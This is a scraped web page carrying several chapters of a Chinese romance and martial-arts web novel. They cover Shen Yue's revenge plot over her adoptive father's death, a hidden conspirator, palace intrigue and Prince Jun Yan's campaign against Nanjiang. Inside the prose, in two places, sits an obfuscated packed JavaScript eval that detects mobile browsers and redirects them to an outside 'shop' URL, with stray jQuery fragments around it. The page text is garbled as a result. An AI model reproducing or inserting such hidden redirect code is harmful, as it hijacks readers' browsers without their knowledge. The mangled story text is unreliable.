“这算什么?”司云思量着道:“若是本性难移,做出千次万次都只是习惯问题,两次能怎么样?”顿了顿又问:“你说的是江洋大盗还是谁?” 沈月站了起来。“谢谢你,司云哥哥,你也休息去吧,不必再陪着我熬了。” “这是我甘愿做的。你若不好,我又怎么能放心去休息?” “我……我很好,真的。你走吧。”她努力挤出一个笑容,难看的脸色却出卖了她。 “你要相信我,夭夭,你还有心里话。都说出来吧。说出来,会舒服一些。”他上前,扶她重新坐下,“我不是九公子,我永远不会背叛你。” “九……”她的声音在此刻变得极是虚弱无力,“司云哥哥,事情已经比较明了了,这个凶手如果不是星月阁内鬼,那就只能是他的人。” “他?……你说的九公子?” “如果真是姚堂主那边下的手……”她竭力维持着情绪,“会不会是姚寂自作主张做的?” “怎么可能呢?”司云一句话泼灭了她的幻想,“四大堂主从来对九公子言听计从,绝不做违背他命令的事情,也不会擅自行事,这是连我都知道的,你怎么还会那样想?” “我……!可是他这样做有什么好处呢?!”她压抑多时的情绪激动了起来:“星月阁和黑布组织从来并立江湖,双方亦敌亦友,近来关系也还不错,他为什么、为什么要这么做?!” “九公子行事,谁能预料?” 她转头就又要出去。 “夭夭!”他叫住了她,跟上去,“案发现场我帮你去看过了,所有的线索都找过,现场情况和你下面人报来的一般无二。” …… 司云的话她还是信的。 司云是不会骗她的。 如果连司云哥哥都骗她,她在这世上还有什么可信的? 她对他没有爱情,但有亲情,他永远是她兄长,对,他不会骗她…… 更何况,这两种可能里面也确实只剩下这一种了! 义父遇害的时间,正是在君琰出发回京城的两天前,消息则是延后传到的。且她一直明里暗里地派人盯着君琰的行踪,事发当日,义父刚出江浙往北,君琰也正好和他在同一个地方,是去办事的。 “别再伤心了,振作起来。”他在她身后说,“我会陪着你。” 杀完人后的两天,他回来,第四次娶她,然后便直接去京城了……好,脱身得好! “要说他这样做的目的,其实也不是想不到。”司云又补充道:“他这样做,其实就是为了你。” “为了我?!” 这是什么逻辑? “就是为了得到你!”司云说,“你也看见了,他一直想要娶你,不择手段!先前因为有阁主在,阁主庇护你、做 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她缓缓摇着头,语气哀戚至极,“他又杀了我一个亲人,又是一个……义父对我恩重如山,他却因为我杀了他,我还有什么颜面面对义父啊……如果没有我的存在,义父就不会遇害了。我这手上,现在已沾上了恩人的血……你说,我到底算个什么东西?!” 她说着,声音里已不自觉染上了几丝哭腔,“司云哥哥,那天他舍命救我,我本来是对他心软了的……他这个人怎么这样啊?!” 他见她如此悲痛,眼睛里有一瞬划过了复杂的情绪,转瞬却又坚定地道:“他配不上你的心软!你想想,如果换作是你先这样对他,他又会怎么对你?!” “一个月后他应该就要到京城了。”她凉凉地笑了笑,“上回让阿尔汉公主代我做了新娘,不知他那边是什么想法,这么急匆匆地就走了。” “夭夭……” “义父对我恩同再造,无论是谁杀了他,我都要替义父报仇。” 沈月近些日子温和下来的眼神,一时间复变回了从前冰冷的样子。“照司云哥哥所言,他应该还会再来的,我等着他。现在,我来给他写封信。” 墨汁顺畅,笺纸美丽,她很快就写好了,交与静儿之后,便召集外面的手下都进来。 “先前交代过了,阁主的事先对外保密、封锁消息,等这一阵子过了再说,谁要敢说出去半个字,本小姐第一个砍了他的手足示众!义父生前并无个一男半女,我是他唯一的义女,也是你们的少阁主。” 一枚闪着金光的令牌赫然出现在了她手中。姑娘神色冰冷,眼底藏着怒火,不怒自威——“从即日起,星月阁由我掌管!” “拜见阁主——!” 众人齐齐下跪。 身在京城的日子很煎熬,君琰一天天就想着沈月,便是那赫连雪公主的倾城容色,也不曾多看过半眼。都第四次了,她还是不愿嫁给他,等这边事情办完、回了江浙,他要好好和她沟通一下…… 心乱如麻,一时半会儿却也回不去。就在这当口,忽然有消息传来—— 陆云一阵风跑进来,禀报道:“公子,沈小姐给您来信了。” “!!” 她竟会主动给他来信?! 他一下子从榻上弹起来了,鞋也没顾上穿,双目炯炯,兴奋着道:“信在哪儿?!” 57. 锦书 “王爷:见字如面。阿尔汉公主心悦王爷已久,趁我不备,放倒下人,翻窗入室,欲杀我而后快,我不得已与之周旋,以替换新娘为交换,令其放我生路。事后心悸莫名,如履薄冰,不待与王爷解释,京中急召,王爷不辞而别,不知几时再下江南?不甚想念。九月初六是个好日子,君若彼时已归,宜嫁娶。沈月” 短短一封信,却让君琰认真地看了一遍又一遍…… 原来之前那次,是阿尔汉逼她的! 信中言辞切切,他仿佛能想象到她说这些话时的样子……她这是已经原谅他了吗?还主动说,九月初六是个宜嫁娶的好日子……想着心情就前所未有地明朗起来。 转念又想到她之前竟是受人胁迫,瞬间想将那逼她之人碎成灰飞! 陆云在旁看得莫名,也不知这沈月是在信中写了些什么,竟能让公子一下高兴,一下生气…… 心绪纷乱,前所未有地明媚,亦前所未有地紧张。“夭夭的处境太危险了,我总觉得还有人没放弃,陆云,让我们在江浙的人加强对她的保护,我不在的这段时间,绝不能再让她遭遇危险,一切等我回去!” “遵命。”陆云已有些麻木了,“公子,你还要……” “知道还问。”说着走到桌前,提笔给她回信—— “卿卿:公事繁忙,疏于所爱,不甚愧疚,待京城事了,定第一时间赶回。前事不成是我之疏,卿若不能消气,待下次见面打我一百板子可好?我不在时,万望多加珍重。君琰” 他回信的语气,倒写得像他们已经成亲了似的。半个月后,沈月手里拿着他的回信,看了好多遍,神色冷漠地想着。 义父的死讯已被封锁,但他是杀害义父的凶手,应该知道此事,也能推知星月阁如今的境况,却也没有在信中旁敲侧击地问她些什么。 提笔,与他写道—— “君走后不久传来噩耗,义父遇刺身亡,想来是无意落入仇家之手。现如今星月阁重担皆系于我一人之身,为阁中事忙,亦念君消息。义父生前与君亦敌亦友,十几年之交谊,待君归来,亦送他一程可好?另,我已命人将消息封锁,君切勿将此事告知他人。” 信传到了君琰那里。 “沈因初死了?!” 信纸从手中滑落,飘到了他脚边。 “诶?”陆云一脸懵,“什么时候的事?” “夭夭说就在我离开江浙后不久。她也说她封锁了消息,让我不要说。”君琰皱眉思索,来回踱步,“江湖上的人,谁还没一堆仇家了?可天下能杀了沈因初的又有几人?” “沈阁主的武功独步天下,目前能和他一较高下的只有公子你。另外,如果不是硬拼,就得用其他取巧的法子,比如一些独辟蹊径的武功路数。” “会不会是别国来的人?”君琰眼中闪过一道寒芒,“近来燕楚联姻,有很多燕人趁机来楚,打着做生意的旗子,欲行不轨之事,朝廷已查处了好多,但难免还有漏网之鱼。可是,对方要杀沈因初干什么?” “杀沈阁主……”陆云一时也想不明白。 “这件事,你先派人秘密调查,切记不要走漏了风声,等我回去,一定帮她查清凶手。”他叹了口气,“她肯定是怕极了,可恨我不能在她身边……” “阿尔汉公主早已被我们的人押回了她姐姐身边,现如今要怎么处置,全都看赫连雪了。”陆云道:“陛下封她为梦妃,后宫里如今只有她一人,陛下一直没有要立后的意思,看来和她之间的旧情,的确非比寻常。” “立后是迟早的。再不愿意,也得拉个人来当摆设。我现在就是担心夭夭……”他坐到桌前,提笔—— “卿卿节哀,人死不可复生,如有需要,可去溪山钱庄和银宇楼找我的人帮忙。一切等我回来。” “呵——”她看着第二封回信,一手将其捏成纸团。 “装得还挺像!” 司云在一边给她磨墨。“别生气了,景王不就是那样的人吗,他若装得不像,当初你也不会和他跑了。”说至此顿了顿,好像自悔失言了似的,又道:“抱歉,我不该提及此事。” “无妨。”她摇头微笑,“你倒是应该多说嘛,多提醒我一下,以免我总是忘了,他骨子里是一个什么样的人。” “夭……” “你走吧,也该回去了。”沈月嫣然一笑,歪头看着他:“我是个嫁了四次都没嫁出去的女人,你老待我这里,外面流言都不知传成什么样了,小心日后也娶不到老婆。” “娶不到你,我终身不娶。” “那你自己随意吧。”她说完出去了。 紫宸殿外的大槐树下,梦妃赫连雪正枕在君朝雨腿上看落花。 “六妹总是胡闹,妾身将她送回燕国去吧,省得她万一将景王惹毛了,闹得两边都不好收拾。” “好,都听你的。”君朝雨伸手拂去落在她脸上的花瓣,凝神看着她…… “陛下,美酒千杯不醉人。”她忽从他腿上起来了,拿了旁边的一盏酒,媚眼如丝,波光流淌,“和妾身共饮吧。” 她亲手喂他喝酒,他喝一口,她再喝一口,两人便这样磋磨了半个时辰,君朝雨平素酒量不差,现在却是有些醉意了。 “酒不醉,人自醉……”他笑着抬起她的下巴,“你比那酒,更为醉人。” “这是‘归梦酒’,很烈的。”她笑着说,“哪怕是像陛下这样好的酒量,也未必扛得住,怎么把锅甩到妾身的头上?” “醉?朕没有醉……!” “娘娘,要不要给陛下弄点解酒药来?”小侍女走了过来,向她请示。 “嗯,好。你去小厨房让他们弄点吃的,我去拿解酒药。”她将他的手拿下来,他尤缠着她不肯放。“听话,陛下。” 闹了好半天才将他安置好,离开他的那瞬间她整个人忽也猛烈地晕了起来。一时间双颊娇红、步履踉跄,宛如醉酒的嫦娥,离开了大槐树去屋里拿解酒药。 “诶?药在哪儿,在哪儿呢……”东翻翻,西找找,脚下却踩着了什么,只听“啪”地一声—— 墙壁转动了! “娘娘,怎么了?!”贴身侍女小齐闻声赶来。 赫连雪醉眼迷离,“是怎么了……?这是什、什么地方?” “娘娘!”小齐赶忙跟上。 最里头的一面墙被推移开了,现出一间内室,她半醉着走了进去,没几步又踩到一个机关上,接着,地板中央打开了一个机关,一方棺木升了上来。 “娘、娘娘!”小齐一阵惊惶,拉住她,“此地不宜久留,我们快离开吧!” “嗯。”她点了点头,正要走,刚转过身却觉身后一阵寒气,忍不住又回了头看去—— 棺木打开了,里头躺着一具女尸。 …… 准确来说,是干尸。 “这人是谁啊?为什么会在此处?”她皱了皱眉头,目光似有若无地落在了尸体的腰间,说着胡话:“这是……他喜欢的人吗?” 小齐已经快急死了,“娘娘,快走啊!” 她仿佛后知后觉地反应过来,酒意陡然醒了一半,似乎觉得有些恶心,捂住了心口道:“……什么鬼地方!?” 两人原路出去,小齐机灵道:“奴婢方才看到娘娘碰的是哪里了,奴婢帮您把这里还原。” 小齐是她从燕国带来的贴身侍女,也是她在宫里最信任之人。 “咔嚓”几声,机关关上,她们出来了。 “娘娘,您也喝醉了!不止陛下需要解酒药,您也需要!”小齐道:“刚才真是吓死奴婢了。” “天——国!是天国!”她踉跄地走出去,喃喃说着些什么,小齐拿完解酒药,赶忙去搀住她,“今天的事情奴婢谁也不会说的,娘娘也要烂在肚子里,下回可千万别再喝醉了!” 翌日她才勉强清醒过来…… 君朝雨倒比她早清醒了半日,晚间批完了奏折便一直陪着她,一直等到第二天早上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“好歹也是一家人了,说这么见外的话做什么。”赫连雪柔柔一笑,微微一福,“前些时日小妹又给王爷惹乱子了,是我没有管教好她,在此给王爷赔罪。” 一想到阿尔汉干的事,君琰就气不打一处来,“事情都做了再来道歉有什么用呢。” 赫连雪没想到他会这么不讲情面,当即也有些尴尬。“是我的错,王爷有什么气冲我来便好,我已命人将小妹送回燕国了,以后不会再来找王爷和沈小姐的麻烦。” “这样最好。”君琰冷笑一声,当即要走,赫连雪又叫住了他。“王爷在为沈小姐的事烦心吧。正好我这里有个情报,事关你在江浙的溪山钱庄和银宇楼,王爷是否要听?” 他站住。 赫连雪这里为何会有这样的情报? “说来也是巧,我堂弟在那边和你们做生意,前日刚好得知一些消息。九爷不妨现在派人找找银宇楼的楼主还有钱庄庄主,就明白了。” 说完便轻笑着走了。 “陆云,速速按她说的去查!” 三日之后,密信传回了京城。 “刘庄主遇害,陶楼主已背叛。” “……岂有此理!” “公子,是否即刻按照规矩处置这两人?” “有查清是被什么人策反的吗?” “有……说出来公子别生气。” “是什么人?” “……星月阁。” 陆云顶着他那惊疑的神色问道:“公子,沈小姐当真靠谱吗,她为什么要这样?” “住口!”他即刻打断,“即便是星月阁,也未必是她做的。她如今独力难支,或许有些事并不在掌控之内,更何况这两个地方,原是我留给她做帮手的,她没理由这样做。现在更让我奇怪的是,赫连雪怎会知道这样的消息?你速速去查,看她说的堂弟在江浙做生意,是否确有其事。” 58. 两地 在京城的日子,君琰除了忙公事,就是在洒扫房间、摆弄府里西厢房里的布置。 这个琉璃花瓶夭夭应该喜欢,要放在显眼的位置;杏花是她最喜欢的花,要在窗前多种几株,这样她清晨一醒来就能看到窗外的花朵;再重新布置一个小楠木柜,可以摆一些她喜欢的小玩意儿;地毯要用清新素雅的颜色……嗯,还有什么呢? 等他们正式成亲了,她想去哪里,他就带她去哪里,想留在江南,他便陪她留在江南,若想回王府看一看,他也得提前将这里布置得漂漂亮亮,她才会住得舒心。 现在这里焕然一新,俨然像是公主落榻的地方,相信她会喜欢的吧? 夭夭,曾经王府给你带去了不好的回忆,现在不一样了……以后你在我身边,我不会再让你不开心了。 再也不会了。 他抬手接住枝头被风吹落的杏花花瓣,恍惚间仿佛又看见了她当年站在这杏树下面,对自己低眉浅笑的样子。 “你还是没能娶到沈月吗?”——却不知君朝雨什么时候来了,也没个人禀报一声,想来是出自本人授意。 “你在江南的情况朕都有所耳闻,实是在太荒唐了。你若实在办不到却又非她不可,朕来帮你,这便下旨为你二人赐婚,她再敢抗旨,便诛她九族!”君朝雨震了震衣袖,“朕还从来没见过这样不像话的,她这么做,实是在羞辱皇家颜面,其罪该杀!” “皇兄息怒!”君琰行了礼道:“此次不成确实事出有因,是阿尔汉公主从中作梗,非她之过。况且,臣弟是想让她心甘情愿地嫁与我,皇兄不可如此,就当是为了臣弟吧。” “你还帮她说话?”君朝雨抬了抬眉,“就算你从前有什么对不起她的地方,时间都过去这么久了,她死咬着不放也没有道理。再者,你是朕的九弟,是大楚的王爷!哪里能容她这般作贱?都四次了,朕都看在你的面子上一直没有插手,已经是对她很宽容了!” “皇兄好意臣弟心领,但皇兄也答应过不干预臣弟的私事。”君琰亦是不退让,“若皇兄认为臣弟所经历的有损皇家掩面,便请即日起将臣弟削去爵位吧。” “你……!” “当年先皇下旨,命臣弟屠山,她现今已没有亲人在世了,也没有九族可株。”君琰说道:“若将她逼急了,人有个什么三长两短,臣弟纵死不能偿还……” “你呀!”君朝雨一副恨铁不成钢的样子,“以前怎么没看出来,你竟是这么个情种?” “臣弟不配‘情种’二字,只是想弥补当年……当年若不是因为臣弟,沈月不至于落到如今的田地,恳请皇兄……开恩!”说着竟跪了下来。 “朕说过你私底下可以不跪!这又是做什么?” “若皇兄还是不能息怒,便以臣弟亲王之爵位,换沈月一命。” “你、你让朕怎么说你好……朕这不也是想帮你吗?起来,快起来。”他亲手将他扶了起来,叹气:“你这又是何苦呀……” “恳请皇兄答应臣弟,现在或者将来,无论发生任何事,只要沈月所为不会影响到朝政社稷,陛下都不要治她死罪。” “你当真要如此逼迫朕吗?不逼迫伤害你的人,却来逼迫为你着想的人?” “愿以免死金牌相换!臣弟那有一块父皇还在世时赐下的免死金牌,若皇兄当真要杀沈月,臣弟现在便将它用出去了。” 君朝雨沉默半晌,冷笑…… “行。你既如此心甘情愿,朕也只能成全你。只是此物一旦交出,下回你若犯了什么事,就无物可保了。” “无妨的。” 又是亲王爵位,又是免死金牌……寻常人眼中穷极一生都得不到的东西,他却视若无物,实在是身在福中不知福。君朝雨目光复杂地看着他这位九弟,狠辣是他一贯的作风,却唯独对这名女子卑微到了尘埃里,不像自己…… “也罢,你想怎么做就怎么做吧。两个月后朕也会下江南巡游,到时,再去吃你的喜酒!” 君朝雨皮里阳秋地说完,拂袖而去。 * 江浙那边,一间密室里。 “你要求的我们已经帮你达成了,我们要求的你再什么时候动手?” “呵,我要求的同时也是你们想要的,就算没有我的请求,你们不是也会杀了沈因初吗?” “你知道得太多了。我们已经把你当自己人了,你应该再坦诚一点。” “我还不坦诚吗?” “……罢了,先说点别的吧。我们有着共同的目标,这你也知道,下一步该做什么,不必我再多说了吧?” “可这样做的最终结果,是会让她变得众叛亲离……我以为事情做到这一步,已经可以停下了!我们这是在一步步把她推向深渊呐!” “众叛亲离了不好吗?让她众叛亲离,这样她唯一能依靠的人就只有你了,这难道不是你一直盼望的吗?” “……你!” “你自己想想,从前她什么都有的时候,几时需要过你?想彻底将她弄到手,你就得让她依赖你,不得不依赖你,对吗?” 对面沉默了。 “你若当真非她不可,又何必计较这中间用了什么手段?只要最终能达到那个结果不就够了,她也永远都不会知道你做的这些。九爷从前对她可是坏得很,她不是至今仍对他念念不忘?你做的这点事又能算得了什么? 再者,都已经上了这条船了,这会子又来装什么好人?若你当真舍不得下手,当初又何必答应与我们合作?现在再来说这样的话,不觉得很可笑吗?” “……我要见你们主子!” “主子?主子岂是你想见就见的。司公子,我奉劝你,凡事不要太刨根究底,你现在的行为已经越界了,看在我们合作过一段时间的份上,我不计较,可若你再犯,我便会向主子请示要如何处置你。后面的事儿,你不干也得干!我这样说不只是为了不叫你半途而废,更是为了我们共同的目标和敌人,你答允了没有坏处。” 司云又是一阵沉默…… “好了!我要走了。”对方说。 出来的时候天上浓云密布,小书童出来给他送伞。 “公子,沈小姐约您凉亭一见,现在若是没事的话。” 他急忙跑了过去。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14093516|142718||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >沈月正坐在亭中,见他来了,寒暄几句后便直入主题:“我想请你帮忙。” 司云笑了,“几时还需与我这样客气?你若有需要,我义不容辞。” “你先别忙着答应。这个忙,我觉得你未必会愿意……” “是什么?” “跟我合作演戏——等他回来以后。” 一刻钟后。 “我知道了。这个忙,我很乐意帮。对了夭夭妹妹,有件事你知不知道……” “何事?” 司云忖了忖,拿出一枚玉坠——“我着人打造了和你从前那个差不多的坠子,本打算给你让你去做想做之事,今天早上却听说,玲珑塔没有了。” “什么?!” “玲珑塔被人毁了。”他说,“这事是九公子干的。” “我还一直等着去……” “是,之前的事情你同我讲过,我知道信守诺言对你来说很重要,更何况那还是他人临终相托。我本想帮你一起完成此事,却没想到那个地方已经消失了,听说是十天前就消失了。” “那玲珑塔主会去什么地方?我还能上哪儿找到他?” “玲珑塔主从来不以真面目示人,没人知道他的由来、姓名,神龙见首不见尾的,你要找他,便如大海捞针……事情到这一步,我劝你还是算了,别再为难自己。总之你的心意已尽到了,但发生了这样的事也非你之过,对方泉下有知,定不会责怪你的。” 她垂下了头,哀伤地叹气,想起与小陶嘱托自己时坚定和托付的语气…… 眼眸里又划过一抹恨意。 “他总是如此对我,总是如此……还说什么是为我好!为我好,却害我失信于人;为我好,却杀我恩人……” “我就说过,你和他在一起纠缠不清,他是不会让你快活顺意的。” “我何时跟他在一起了?”她抬起头来,心中恨意难平,“不会,永远都不会!” 她气得转身就走,走出几步,心中又回过味来。 司云哥哥的性情最近仿佛变了一些,他对君琰自是也有敌意……想着便嘱咐静儿道:“派人去查一下,看玲珑塔到底是怎么毁的。” 晚间侍女来答复了:“小姐,玲珑塔是九公子命手下毁掉的。” “……” 果真还是如此么? “玲珑塔在这里,也有二十几年了吧?” “是啊小姐。可九公子毕竟不是常人,只要他动动手指,别说一座玲珑塔,便是十座,也可眨眼灰飞烟灭啊。” “……我倒是忘了。”她点点头,“办得好,下去吧。” “对了小姐,您要的东西买来了。” “嗯。”她起身,向沈因初的灵堂走去,“义父不是江浙本地人,他老家那边,人死后有送魂的习俗,今夜就让我来为他送魂吧。” “小姐,”静儿劝道:“是有这么回事,但做这样的法事,会对送魂者本人不好,要不让奴婢代劳吧?” “我是他的养女,自然该由我来,有什么影响我不在乎。义父生前待我恩重如山,他走后所有的事,都该由我亲自来办。” 59. 沙场 君琰数着日子一天天过去,满以为很快就能再去见她,却不想这日从宫中传来了消息…… 赫连雪脱簪批发,前去紫宸殿请罪。 君朝雨正在看前线的奏报:南疆联合西戎,趁燕楚联姻之际来犯。 燕楚已经联姻,按理说燕国会出兵援助楚国,但问题是…… “罪妾参见陛下。”赫连雪已来到他面前,低着头,“罪妾也是刚刚才知道的,南疆兴兵来犯,全是因罪妾管教妹妹不当之故,请陛下责罚。” “朕是听说此事与阿尔汉公主有关。”君朝雨蹙着眉头,不解道:“怎么,她没有回燕国去吗?” “罪妾本是派人护送她回去的,谁知她半路又跑脱了,没回燕国,却是去了南疆,她母亲是南疆公主,当年也是为联姻嫁到燕国的。她若在燕国,罪妾还可以管管,可她跑去了南疆,她的外祖父、南疆之主向来极宠爱她,说什么都是无有不应的。” “哎。出了这种意外,也不算是你的责任。别一口一个‘罪妾’地称呼自己,嗯?” “妾身有责。”她说,“如果……” “算了。事情既已发生,就没有什么如果了。”君朝雨若有所思,“照这么说,是她怂恿她外祖父来进犯大楚的……还是为了九弟吗?” “多半是的。妾身这个六妹从小被娇惯坏了,从来没有她得不到的东西,想来是之前和景王殿下冲突得狠了,妾身也曾撞见过,几次从中调解,却也无济于事。” “陛下,前线军报——南疆那边喊话说,只要陛下交出景王,他们便退兵。” “放肆!”君朝雨一拂衣袖,不掩怒色,“朕的九弟是他们想要就要的?!” 他气愤莫名,赫连雪在一旁陪着,他让她去重新梳妆好了,过来红袖添香。半日之后,桌上便堆满了奏折,全是大臣们关于此事的谏言。 晚上。 “陛下,景王来了。” 君琰原是想快些飞去找夭夭的,然…… “见过皇兄。此战是因臣弟而起,请皇兄准臣弟率兵前往平乱!” 君朝雨意味深长地看着他:“你若是愿意娶了阿尔汉公主,朝廷也就不必出兵了。” 君琰即刻抱拳:“臣弟不愿!请皇兄委任臣弟为征南将军,不退敌兵,臣弟誓不还朝!” “你有把握吗?你可知他们来了多少万兵马?南疆加上西戎的一共一百万!朝廷这边,最多只能凑到五十万兵马。”君朝雨叹了口气,抬手敲了敲堆满走着的御桌,“朝中也有许多人都主张将你交出去以缓战争,这是他们递来的折子。大楚与燕国联姻,为的就是休养生息,如今却又要去对付南疆与西戎……” 君琰:“对方来犯我国土,还打着臣弟的旗号,我们若就这样对其妥协,难道不会让四海之人皆以为我大楚懦弱怯战?难道就这样放下一国之尊?有了第一次还会有第二次,对这般狂犬吠日之行为,便应该予其迎头痛击,让他长个教训!士可杀不可辱,皇兄若执意将我交出去,我倒还不如死在这里。” “不是将你交出去,只是要你娶她而已!就这么难?那个阿尔汉公主长得又不丑。朕是答应过不干预你的终身大事,可是你自己看看,你这件事儿现在都搞成什么样了?!现在朝堂上对你不满的人可是多得很呐,天天都有参你的人,朕是想维护你也要费点力了。” “臣弟会守住国土。”他直视着上头那人,“从臣弟抵达战场之日算起,南疆与西戎若再进犯一步,便从臣弟尸-首上踏过去!待击退敌兵,臣弟永生不再回京。如此,皇兄觉得可还满意?” 君朝雨沉默了半晌。 “朕可以力排众议让你前去平乱,不过—— 九弟,朕的耐心是有限的。不管你方才这些话是出于公心,还是私心,朕不想追究,自你抵达战场算起,限期一个月内将他们赶走!若做不到,你就必须娶阿尔汉公主为王妃!” “一个月的时间是不是太急了点?”赫连雪在旁边说,“皇上要不要再延一个月啊?” 君朝雨冷笑一声,“你太小看他的本事了,一个枪里来雨里去的人,还需要两个月吗?” 君琰:“多谢皇兄信任,臣弟必不负重托!” 世事风云变幻,往往发生在转瞬之间。事情就这样定下来了,他回到府上,坐立难安,提笔给她写信—— “南疆西戎来犯,我不日将出征,若能一月内平乱,则能赶在九月前回江浙,以不误你我婚期。情势紧迫,别无他法,寥寥数语,辞难尽意,盼卿勿怪。” 半个月后,前线。 南疆主帅帐中。 “君琰这个混账!宁可打仗,也不愿顺了我的意!”阿尔汉公主怒道。 旁边一个高鼻深目的青年即刻劝慰道:“小郡主息怒。他们手中兵力不到我们的一半,我们又在楚国朝廷那边有人,任他景王是战神下凡,这一次也讨不了什么好去,您只静等他兵败后落在手中便可,到时还不是您想把他怎样就怎样。” 一席话哄得她心情好了起来,露出了得意的笑容:“说得也是。”转头,对着空气恨恨道:“君琰,我们来日方长!” * 十几天后,星月阁处。 “君琰去打仗了?”沈月看着他写的信和今日送来的情报。 静儿:“是啊小姐,那个燕国的阿尔汉公主同时也是南疆郡主,为了得到景王不惜让她外祖父对楚国发兵。据我们的情报,皇上为此发了好大的火才勉强同意他带兵去平乱。敌众我寡,也不知他这次去了能否打胜仗。” “他是什么人?他会败?”沈月站起来,走到窗边,“都只有他收拾别人的份儿。放心等着好了。” “倒也未必。奴婢还听说,他后援出了点问题……” “嗯?” “负责调拨粮草的人似乎和南疆有着某种联系……我们的人还在调查中。小姐,若真如此,我们要插手吗?” “朝堂上的事,我们插什么手?”她回来坐下,“这消息我们能查到,他自然就也能查到,会自己向皇上要粮的。” 又半月。 副将:“王爷一直死守在此,现在所有粮草满打满算,只够将士们吃十天了,送粮的迟迟不来,上次来的一个只给了半数,您没有和皇上去信要粮吗?” “本王怀疑信可能是半途被人截了。皇兄若知此地实情,断不会坐视不理。” “八百里加急的密信,也会被截?!” “也有可能是出了内鬼。送信的人呢?”他冷笑了声,“不只是本王这里有内鬼,朝堂上也有,粮草迟迟跟不上就是明证!” “王爷,敌军又在抢攻了,阿尔汉公主派人在阵前骂您!” “王爷,穆小将军派人去抢了百姓的口粮!” “王爷,末将方才清点了弟兄人数,我军现在已剩下不到十万人……” “都退下。” “是,王爷。”报信的人一个个面有忧色地出去了。 边关不能破,南疆军一旦进来,便会屠城。 “都打这么久了,我们的粮草不够,他们必然也不够。既然我们这边后援跟不上来,那就想个办法,让他们比我们更快没后援!” “这……因是外孙女儿的要求,南疆王对此次战争十分重视,粮草什么的都是他亲自督办,若要做到王爷说的这点,恐怕是有些困难。” “本王亲自去。”他说——“张平,你随时准备好带百姓撤离到青宁关,以防此地失守,南疆人进来屠城!” “王爷要亲自去哪儿?!”副将急切道:“您是一军主帅,不能冒这等危险!要不让末将去吧。” “这是命令。你要违抗军令吗?”他那语气不怒自威。 “……末将不敢!” “我们的粮还剩下十天……呵,那他们的粮还剩几天?本王三天内就让他们没粮!你做好准备,等本王烧了他们的粮,我军便一举进攻,将他们赶出大楚!” 两日后,南疆军营。 “小郡主,不好了!我们的粮、粮……” “粮怎么了?” “被人烧了,十个地方的都烧了!” “什么?!这不可能!没了粮还怎么打仗?按理说他们该比我们先没粮才对。且我有意将粮分散在七个地方囤放,他怎么会知道,还一下子全给烧了?”阿尔汉说着便怒火中烧起来:“都是一帮废物吗?!” “也不知道到底是怎么回事,小郡主,现在要怎么办?” “不好了——他们杀进来了!” 在君琰赶来之前,他们夺下了楚国边境的一座城关,可自君琰来了以后,便再无进展。南疆和西戎两处加起来共一百万的兵马,到如今只剩下二十万。 “弟兄们听着,今天都给我吃饱喽!敌方的粮草已经被我们王爷烧掉啦!今天,就是和他们决一死战的日子,只准进,不准退!谁若退——”张平“哗”地拔出剑来,高高扬起,“就地格杀!” “张将军,王爷人呢?”不知是谁问了一句。 “王爷比你们先到,他就在战场上等着你们!” 城关下战火又燃。 “冲啊——!” 士兵们吃饱喝足了,又听说对面已没了粮食,顿时士气大振,一个个摩拳擦掌的,恨不得即刻开战。 对面。 “小郡主,现在都在传我军粮草被烧一事,军中人心惶惶……” “消息怎么这么快就走漏了……?”阿尔汉又急又气,在帐中来回踱步。“是君琰!” “小郡主,对面粮草不济的时候,我们还能压着他们,现在情况反过来了,我们先没了粮,而且这事儿现在全军将士都知道了!不到半日的时间,逃跑的就有几百人。景王是十几岁就带兵上战场的人,同等条件下我们都不是他的对手,更何况现在已经是敌强我弱,小郡主,我让三万人护送你先走,我来断后,断不会让您有失!” “胡说!什么敌强我弱,我们不是还有二十多万人吗?他们不是只剩十万了吗?全力一搏,也未必就会输给他们,你说的什么混账话?” “小郡主……”对方面有难色,听她都如此说了,才不得不开口:“昨夜地方在上游河水处投了毒,我军将士及马屁死伤者,十有七八……” “什么?!”阿尔汉听了直摇头,又急又怒,“君琰在江湖上本就是杀人如麻的,一动手就灭别人整个帮派,如今在战场上,更是有过之而无不及,是我把他想简单了……可是,这么短的时间内,烧我军粮草、抢占上游水源,他是怎么做到的?” “现在没时间想这些了!马上就要开战,小郡主,你快些走,你万一有个闪失,我们所有人都没法与大王交代的!” 对方虔诚地看着她,神色已几近哀求,阿尔汉内心忽浮现出一种从未有过的情绪……是她闹着要打这一仗的,是她想要让君琰落到自己手里,是她…… 为什么她偏偏就是得不到他?原来她阿尔汉,也会有得不到的东西么? 闪念间忽定下心来:“我不走!我要留下来。” “你、你说什么?!”眼看着她转身上了城楼,那青年连忙跟过去,满眼的不解,“小郡主,你不能不要命了!” 阿尔汉看着城楼下的火光…… 楚军已经打过来了,用了火炮。 各种纷乱的声音充斥着耳膜,她在火光中寻找着那个高大的身影……君琰本就人高马大,再骑那匹黑色骏马,更是惹眼。 她很快就找到了他的身影,眼中浮现出了迷恋、不甘与恨意,那个人在万军之中是那般勇武,一把宝剑使得出神入化,但凡近他身者,无有不即刻一命呜呼的。 “不必再劝,我决心已定。此战若败,南疆与楚国交恶,阿翁为难,皆是我一人之过……我还有什么颜面回去面对他?南疆向来崇尚勇士,这座城关是我们拼力打下来的,我宁与将士们共存亡,宁可死,也不能做个逃兵!” “小郡主,您可不能这样想!您是大王的心头宝,没有人会说你什么的,您要是死了,我们才是真的……” “闭嘴!你敢违抗本郡主的命令?”她一记眼刀杀了回去,“去将我的弓箭拿来,再把箭涂上°,我要亲手杀了他!” 